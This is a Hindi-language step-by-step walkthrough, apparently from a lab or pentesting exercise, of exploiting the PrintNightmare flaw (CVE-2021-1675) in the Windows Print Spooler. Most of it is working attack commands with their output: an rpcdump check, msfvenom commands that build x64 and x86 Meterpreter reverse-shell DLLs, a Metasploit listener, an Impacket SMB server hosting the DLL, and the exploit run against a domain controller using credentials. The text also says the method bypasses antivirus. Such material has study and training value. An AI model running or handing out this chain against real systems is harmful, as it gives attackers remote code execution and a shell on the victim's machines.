
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2021-1675 (PrintNightmare) के लिए जो Windows Print Spooler को लक्षित करता है। यह SMB के माध्यम से वितरित msfvenom-जनरेटेड दुर्भावनापूर्ण DLL का उपयोग करके रिमोट कोड निष्पादन और Meterpreter रिवर्स शेल प्राप्त करता है।
प्रिंटर स्पूलर एक Windows सेवा है जो प्रिंट कतारों का प्रबंधन करती है। यह उपयोगकर्ता द्वारा प्रस्तुत कार्यों को प्राप्त करता है, उन्हें उस प्रारूप में परिवर्तित करता है जिसे प्रिंटर समझता है, और प्रिंटर उपलब्ध होने पर उन्हें भेजता है। यह उच्च विशेषाधिकारों के साथ एक सिस्टम सेवा (spoolsv.exe) के रूप में चलता है, जिससे यह हमलों का लगातार लक्ष्य बन जाता है, जैसे कि PrintNightmare भेद्यता।
जब कोई हमलावर प्रिंट स्पूलर का दूरस्थ रूप से शोषण करने का प्रयास करता है, तो यह जाँचने के लिए कि कोई होस्ट printnightmare दोष के प्रति संवेदनशील है या नहीं, हम rpcdump.py नामक टूल का उपयोग कर सकते हैं, जो impacket पैकेज का हिस्सा है, जो pentesting वातावरण में व्यापक रूप से उपयोग किए जाने वाले टूलों का एक समूह है।
❯ rpcdump.py @10.10.188.66 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
इस भेद्यता का शोषण करने के लिए, इस एक्सप्लॉइट के वितरण की विधि एक दुर्भावनापूर्ण DLL है। यह विधि, जिसे "fileless" शोषण के रूप में भी जाना जाता है, हमें अधिकांश सिस्टम सुरक्षाओं, जैसे एंटीवायरस सॉफ़्टवेयर, को बायपास करने की अनुमति देती है। इस हमले में, हम प्रिंट स्पूलर सेवा को एक UNC पथ से एक नया ड्राइवर स्थापित करने और लोड करने के लिए धोखा देंगे। हमारे मामले में, यह दुर्भावनापूर्ण DLL है, जो हमें हमलावर कंप्यूटर पर एक रिवर्स शेल प्रदान करेगा। दुर्भावनापूर्ण DLL बनाने के लिए, मैं "msfvenom" का उपयोग करूँगा और, जिस आर्किटेक्चर पर हम हैं, उसके आधार पर, हम DLL में एक Windows x64 या x86 पेलोड को एकीकृत करेंगे, जिसमें लोकल होस्ट और लोकल पोर्ट प्रदान करेंगे, जहाँ हम DLL से कॉलबैक के लिए एक लिसनर शुरू करेंगे। आप "ifconfig" टाइप करके अपनी मशीन का IP पता पा सकते हैं। हम अपना दुर्भावनापूर्ण DLL बनाने के लिए निम्न कमांड का उपयोग करेंगे।
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
और यदि किसी अन्य मामले में हमारा आर्किटेक्चर 32 बाइट्स का हो, तो हम इस पेलोड का उपयोग करेंगे
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
चूंकि हमने अपना दुर्भावनापूर्ण DLL बना लिया है, अब हमें DLL के सिस्टम पर निष्पादित होने पर 'Meterpreter' शेल वापस पाने के लिए “Metasploit Framework” पर अपना लिसनर शुरू करना होगा। लिसनर शुरू करने के लिए नीचे दिए गए चरणों का पालन करें। अंत में लिसनर को बैकग्राउंड में शुरू करने के लिए 'exploit -j' टाइप करें।
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:443
अब जब हमने अपना रिसीवर शुरू कर दिया है, तो हम दुर्भावनापूर्ण DLL फ़ाइल को होस्ट करने के लिए अपना SMB सर्वर शुरू करते हैं। उस सिस्टम पथ पर जाएँ जहाँ हमने DLL फ़ाइल सहेजी है और SMB सर्वर शुरू करने के लिए निम्न कमांड दर्ज करें। ऐसा करने से पहले, सुनिश्चित करें कि आपके कंप्यूटर पर "Impacket" स्थापित है। Impacket Python में लिखे गए ओपन-सोर्स मॉड्यूल का एक संग्रह है, और उनमें से एक smbserver.py है, जिसका उपयोग हम इस उदाहरण में करने जा रहे हैं। "smbserver.py" स्क्रिप्ट शुरू करने और दुर्भावनापूर्ण DLL फ़ाइल को होस्ट करने के लिए, उस निर्देशिका में निम्न कमांड दर्ज करें जहाँ हमने इसे सहेजा है, मेरे मामले में /home/ghost/Pentesting/Printer/।
❯ smbserver.py share . -smb2support
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
बहुत बढ़िया, अब हम CVE-2021–1675 प्रूफ-ऑफ-कॉन्सेप्ट (POC) का उपयोग करके शोषण प्रक्रिया शुरू करने के लिए तैयार हैं। ऐसा करने के लिए, हम हमारे सिस्टम पर होस्ट किए गए दुर्भावनापूर्ण DLL के UNC पथ के साथ डोमेन कंट्रोलर और उपयोगकर्ता क्रेडेंशियल प्रदान करते हैं।
❯ python3 CVE-2021-1675.py NetworkAD-EDU.ENGdepartment.local/jjsmith:[email protected] '\\\\10.10.10.10\\share\\PrintMalicious_x64.dll'
[*] Connecting to ncacn_np:10.10.220.93[\\PIPE\\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL
[*] Executing \\??\\UNC\\10.10.10.10\\share\\PrintMalicious_x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
एक्सप्लॉइट स्क्रिप्ट चलाने के कुछ सेकंड बाद, यदि हम 'Metasploit' में शुरू किए गए लिसनर पर वापस जाते हैं, तो यह दिखाता है कि उसने एक 'Meterpreter' सत्र खोल लिया है, इसलिए अब हम 'Meterpreter shell' का उपयोग करके पीड़ित मशीन के साथ इंटरैक्ट कर सकते हैं।